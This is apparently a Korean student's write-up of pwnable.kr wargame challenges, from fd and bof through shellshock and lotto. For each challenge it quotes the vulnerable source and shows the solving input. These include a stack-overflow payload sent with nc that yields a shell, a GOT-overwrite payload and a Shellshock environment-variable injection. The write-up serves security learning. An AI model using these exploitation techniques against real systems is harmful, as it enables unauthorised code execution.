# Pwnable.kr

2015년 7월 1일 수요일

오후 10:25

Fd

---

```
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
```

Read 첫번째 fd는 파일 디스크립터인데 이건 어떤 형식으로 키보드 형식으로  정수 형태로 나타내는 것입니다.

Stdin 은 값이 0으로 지정되어 read(0, buf, 32) 이렇게 되어 입력 받을 땐 LETMEWIN을 치면 해결이 됩니다.

```
fd@ubuntu:~$ ./fd 4460
learn about Linux file IO
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
```

collision

---

```
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
```

Argv가 20 바이트 라는 조건이 있습니다.
그리고 check_password 함수에서 사용자가 입력한 것을 5번 더하여 hashcode 값과 같아야합니다.

0x21dd08ec = 568133868 입니다.
이것을 4로 나눈 뒤 나머지 값을 마지막에 넣어 주면 됩니다.

0x6c5cecc 한번과 0x6c5cec8 4번을 넣어주면 됩니다.

```
col@ubuntu:~$ ./col `python -c 'print "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\
xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06"'`
daddy! I just managed to create a hash collision :)
```

bof

---

```
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
```

키값은 cafebabe 인데 func로 들어가는 인자는 deadbeef 이다. Deadbeef를 cafebabe로 바꾸면 됩니다.

```
(gdb) x/32wx $esp
0xbffff0b0:     0xbffff0cc      0x00000000      0x000000c2      0xb7eabb36
0xbffff0c0:     0xffffffff      0xbffff0ee      0xb7e22bf8      0x61616161
0xbffff0d0:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff0e0:     0x61616161      0x61616161      0x61616161      0x3ea70100
0xbffff0f0:     0x800006b0      0x80000530      0xbffff118      0x8000069f
0xbffff100:     0xdeadbeef      0xb7fff000      0x800006b9      0xb7fc1000
```

실행시켜 인자 값들을 확인해 보았는데 쓰레기값이 52개 들어가고 cafebabe로 바꾸면 될 거같습니다.

```
eram@ubuntu:~/Documents/bob/sim_mento/01$ (python -c 'print "a"*52+"\xbe\xba\xfe
\xca"';cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
```

쉘을 얻어 flag를 열었습니다.

Flag

---

```
....UPX!........
!|..!|..........
.........ELF....
```

Flag를 다운 받아 ida로 열어봤습니다.
어셈블리를 보고 어떤 것인지 전혀 모르겠어서혹시나 hex 값을 봤는데 upx라는 것이 보였습니다.

```
eram@ubuntu:~/Documents/bob/sim_mento/01/flag_d$ upx -d ./flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    887219 <-    335288   37.79%  linux/ElfAMD   flag

Unpacked 1 file.
```

혹시하고 upx로 언팩킹 한 뒤 언팩킹한 것을 ida로 보았더니 아래와 같이 나와있었습니다.

```
.data:00000000006C2070                  public flag
.data:00000000006C2070 flag             dq offset aUpx___?SoundsL ; DATA XREF: main+20↑r
.data:00000000006C2070                                            ; "UPX...? sounds like a delivery service "...
```

이것을 플래그 값이라 생각하여 인증해 보았지만 아니였기에 한번 더 들어가서 최종 플래그 값을 찾았습니다.

```
.rodata:0000000000496628 aUpx___?SoundsL db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628                                          ; DATA XREF: .data:flag↓o
```

Passcode

---

```
void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}
void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}
```

코드상 오류가 있어서 4바이트를 scanf 을 이용하여 주소를 지정하여 그 주소에 원하는 코드를 넣을 수 있습니다.

```
 0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
 0x080485ea <+134>:   call   0x8048460 <system@plt>
 0x080485ef <+139>:   leave
```

0xfflush 에 got에 system 시작 부분을 넣어 fflush가 실행 될 때 system 을 시작하도록 하여 프로그램을 실행 시킬 수 있었습니다.

```
(gdb) disas fflush
Dump of assembler code for function fflush@plt:
   0x08048430 <+0>:     jmp    DWORD PTR ds:0x804a004
   0x08048436 <+6>:     push   0x8
   0x0804843b <+11>:    jmp    0x8048410
End of assembler dump.
(gdb) p/d 0x080485e3
$1 = 134514147
```

```
passcode@ubuntu:~$ (python -c 'print "a"*96+"\x04\xa0\x04\x08" + "\n" + "1345141
47"+"\n"') | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
```

Random

---

Rand 함수가 실행되어 나온 값을 xor 하는 문제였습니다.

그렇지만 Srand이 없어서 값은 고정이 되어있었습니다.

```
(gdb) p/x $eax
$2 = 0x6b8b4567
```

Gdb로 rand 를 확인하였고 이 값과 xor 하여 0xdeadbeef 가 나오는 값을 찾았습니다.

```
random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
```

Input

---

```
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main () {
    char *argv[101] = {[0 ... 99] = "A"};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    argv['C'] = "55555";
    char *envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"};

    int pipe1[2], pipe2[2];
    if(pipe(pipe1)==-1 || pipe(pipe2)==-1) {
        printf("error pipe\n");
        exit(1);
    }

    FILE *fp = fopen("\x0a", "r");
    fwrite("\x00\x00\x00\x00", 4, 1, fp);
    fclose(fp);

    if(fork() == 0) {
        dup2(pipe1[0], 0);
        close(pipe1[0]);
        close(pipe1[1]);

        dup2(pipe2[0], 2);
        close(pipe2[0]);
        close(pipe2[1]);

        execve("/home/input/input", argv, envp);
    }
    else {
        write(pipe1[1], "\x00\x0a\x00\xff", 4);
        write(pipe2[1], "\x00\x0a\x02\xff", 4);

        sleep(5);
        struct sockaddr_in servaddr;
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        memset(&servaddr, 0, sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_port = htons(atoi(argv['C']));
        servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
```

```
        connect(sock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        send(sock, "\xde\xad\xbe\xef", 4, 0);
        close(sock);

        int stat;
        wait(&stat);
        unlink("\x0a");
        return 0;
    }
}
```

죄송합니다.
제 코딩의 능력은 초미립자 수준이기에 구글 친구에게 물었습니다...

```
input@ubuntu:/tmp$ /tmp/inp/go1
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
```

Leg
---

```
if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
}
```

함수의 반환 값들을 더하여 key 값과 비교합니다.

```
Dump of assembler code for function key1:
   0x00008cd4 <+0>:     push    {r11}           ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:     add     r11, sp, #0
   0x00008cdc <+8>:     mov     r3, pc
   0x00008ce0 <+12>:    mov     r0, r3
   0x00008ce4 <+16>:    sub     sp, r11, #0
   0x00008ce8 <+20>:    pop     {r11}           ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx      lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:     push    {r11}           ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:     add     r11, sp, #0
   0x00008cf8 <+8>:     push    {r6}            ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add     r6, pc, #1
   0x00008d00 <+16>:    bx      r6
   0x00008d04 <+20>:    mov     r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop     {pc}
   0x00008d0c <+28>:    pop     {r6}            ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov     r0, r3
   0x00008d14 <+36>:    sub     sp, r11, #0
   0x00008d18 <+40>:    pop     {r11}           ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx      lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:     push    {r11}           ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:     add     r11, sp, #0
   0x00008d28 <+8>:     mov     r3, lr
   0x00008d2c <+12>:    mov     r0, r3
   0x00008d30 <+16>:    sub     sp, r11, #0
   0x00008d34 <+20>:    pop     {r11}           ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx      lr
```

key 1

---

sp-4 = r11

r0 = 0x8ce4

key 2

---

sp-4 = r11

r11 = sp

sp-4 = r6

r6 = 0x8d05

r3 = 0x8d08

r3 = r3 +4 = 0x8d0c

push r3 ; 0x8d08

r0 = r3 ; 0x8d08

key 3

---

sp-4 = r11

r11 = sp

r3 = 0x8d80

r0 = r3 ; 0x8d80

Key1 + key2 + key3 = 108400 이 됩니다.

```
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!
```

Mistake

---

```
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
}
```

Open은 정상적으로 파일을 열면 양수를 반환 아니면 음수를 반환합니다.
Password 파일을 정상적으로 열어서 양수가 반환이 되는데 양수는 0보다 작을 수가 없으니 fd에는 0 이 들어갑니다.

```
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;
}
```

Fd를 pw_len(10) 만큼 pw_buf에 넣습니다.
0000000000
이 들어갑니다.

```
void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}
```

그 뒤에 사용자가 입력한 것을 xorkey(1) 만큼 xor 합니다.

```
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
}
else{
        printf("Wrong Password\n");
}
```

그리고 pw_buf와 사용자가 입력한 부분 pw_buf2 을 비교합니다.

```
mistake@ubuntu:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(
```

xor 1111111111을 하면 000000000 나오니...
플래그를 얻었습니다.

Shellshock

---

```
shellshock@ubuntu:/tmp/test123$ echo "cat /home/shellshock/flag" > go
shellshock@ubuntu:/tmp/test123$ ls
go
```

인터넷으로 shellshock 를 찾아서 해보았습니다.

```
shellshock@ubuntu:/tmp/test123$ env X='() { (a)=>\' ~/shellshock
/home/shellshock/bash: X: line 1: syntax error near unexpected token `='
/home/shellshock/bash: X: line 1: `'
/home/shellshock/bash: error importing function definition for `X'
/home/shellshock/bash: shock_me: command not found
shellshock@ubuntu:/tmp/test123$ ls
echo  go
```

Echo로 go를 만들어서 했지만 여기서는 shock_me 라는 파일을 찾을 수 없다하여 다시 shock_me 로 파일을 만들어서 재실행해보았습니다.

```
shellshock@ubuntu:/tmp/test123$ env X='() { (a)=>\' ~/shellshock
/home/shellshock/bash: X: line 1: syntax error near unexpected token `='
/home/shellshock/bash: X: line 1: `'
/home/shellshock/bash: error importing function definition for `X'
/home/shellshock/bash: /tmp/test123/shock_me: Permission denied
```

이번에는 권한이 없다고하여 권한을 전부 7로 주어서 다시 실행해보았습니다.

```
shellshock@ubuntu:/tmp/test123$ ls
echo  go  shock_me
shellshock@ubuntu:/tmp/test123$ cat echo
shellshock@ubuntu:/tmp/test123$ chmod 777 shock_me
shellshock@ubuntu:/tmp/test123$ env X='() { (a)=>\' ~/shellshock
/home/shellshock/bash: X: line 1: syntax error near unexpected token `='
/home/shellshock/bash: X: line 1: `'
/home/shellshock/bash: error importing function definition for `X'
shellshock@ubuntu:/tmp/test123$ ls
echo  go  shock_me
shellshock@ubuntu:/tmp/test123$ cat echo
only if I knew CVE-2014-6271 ten_years ago..!!
```

쉘 쇼크를 하게 되었습니다.

그런데 이해를 못하겠습니다...

coin1

---

```python
import socket
import time
import string

hostname = 'pwnable.kr'
port = 9007

def GetKey(s, left, right):
    sends = ''
    #now = time.time()
    for i in range(left, right+1):
        sends += "%d " % i
    #print sends
    #print  time.time() - now
    sends += '\n'
    s.send(sends)

    return s.recv(100)
    pass

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))

s.recv(4096)
time.sleep(3)
Case = 0
while (1):
    #print "Case:  %d case" % Case
    flag = 1
    #now = time.time()
    recvdata = s.recv(100)

    print recvdata


    TotleNum = string.atoi(recvdata.split(" ")[0][2:])
    #print TotleNum
    TotleCount = string.atoi(recvdata.split(" ")[1][2:])
    #print TotleCount
    low = 0
    higth = TotleNum - 1
    Count = 0
```

```
        strs = GetKey(s, low, mid)
        if 'Correct' in strs:
            print strs
            flag = 0
            break
        #print s.recv(1024)
        key = strs
        #print strs
        temp = str(strs)
        if (temp != "time expired! bye!\n"):
                key = string.atoi(strs)
        else:
                break

        if (key % 10 == 9):
            higth = mid
        elif (key % 10 == 0):
            low = mid + 1
        else:
            pass

    if (flag == 1):
        s.send('%d\n' % low)
        print s.recv(1024)
    Case = Case + 1

s.close()
```

죄송합니다.
제 코딩의 능력은 초미립자 수준이기에 구글 친구에게 물었습니다...

구글 친구가 알려준 답에서 문자열이 나와도 정수로 바꾸려는 코딩 실수가 있기에 그 부분만 수정하고 마지막 flag를 가져올 때 스플릿을 해버려서 깨지는 것을 데이터를 가져올 때 출력하여 flag를 받았습니다.

Blackjack
---
블랙잭을 들어가면 소스 코드가 있는 주소를 주고 100만을 모으면 플래그를 준다고 적혀있습니다.
실행 코드를 하나하나 따라가던 도중 betting 부분에서 취약한 코드를 발견했습니다.

```
int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function
```

바로 첫번째 입력에서 bet이 cash보다 높으면 걸리게 되지만 두번째에선 bet 금액을 그대로 돌려주는것 입니다. 그래서 이것을 이용하면 한번에 100만원을 모을 수 있다고 생각했습니다.
이 쪽에서는
while(bet > cash)
{!@#$}
Return bet;

이런식으로 작성하면 좋겠습니다.

```
-------
|C    |
|  7  |
|    C|
-------

Your Total is 7

The Dealer Has a Total of 10

Enter Bet: $10000000

You cannot bet more money than you have.
Enter Bet: 10000000


Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
H
-------
|D    |
|  4  |
|    D|
-------

Your Total is 11
```

위 그림처럼 돈을 걸고 진행하고 이겼더니 아래와 같이 플래그가 떴습니다.

```
YaY_I_AM_A_MILLIONARE_LOL


Cash: $10000498
-------
|C    |
|  6  |
|    C|
-------

Your Total is 6

The Dealer Has a Total of 11

Enter Bet: $
```

Lotto

---

```
int match = 0, j = 0;
for(i=0; i<6; i++){
        for(j=0; j<6; j++){
                if(lotto[i] == submit[j]){
                        match++;
                }
        }
```

Lotto 가 아무리 6자리를 랜덤하게 만들었어도 한 개의 번호로 6개를 입력하면 첫 자리만 맞으면 6개 전부 일치하다고 나오는 문제였습니다.
해당 lotto 문제에서 이중 반복문을 사용하여 검사를 했기 때문에 첫 자리만 맞으면 6개가 전원 일치라는 재미있는 버그가 발생하였습니다. 그렇기 때문에 이렇게 간단한 중복 검사를 할 땐 한 개의 반

복문만 사용하여 검사하는 것으로 바꾸면 되겠습니다.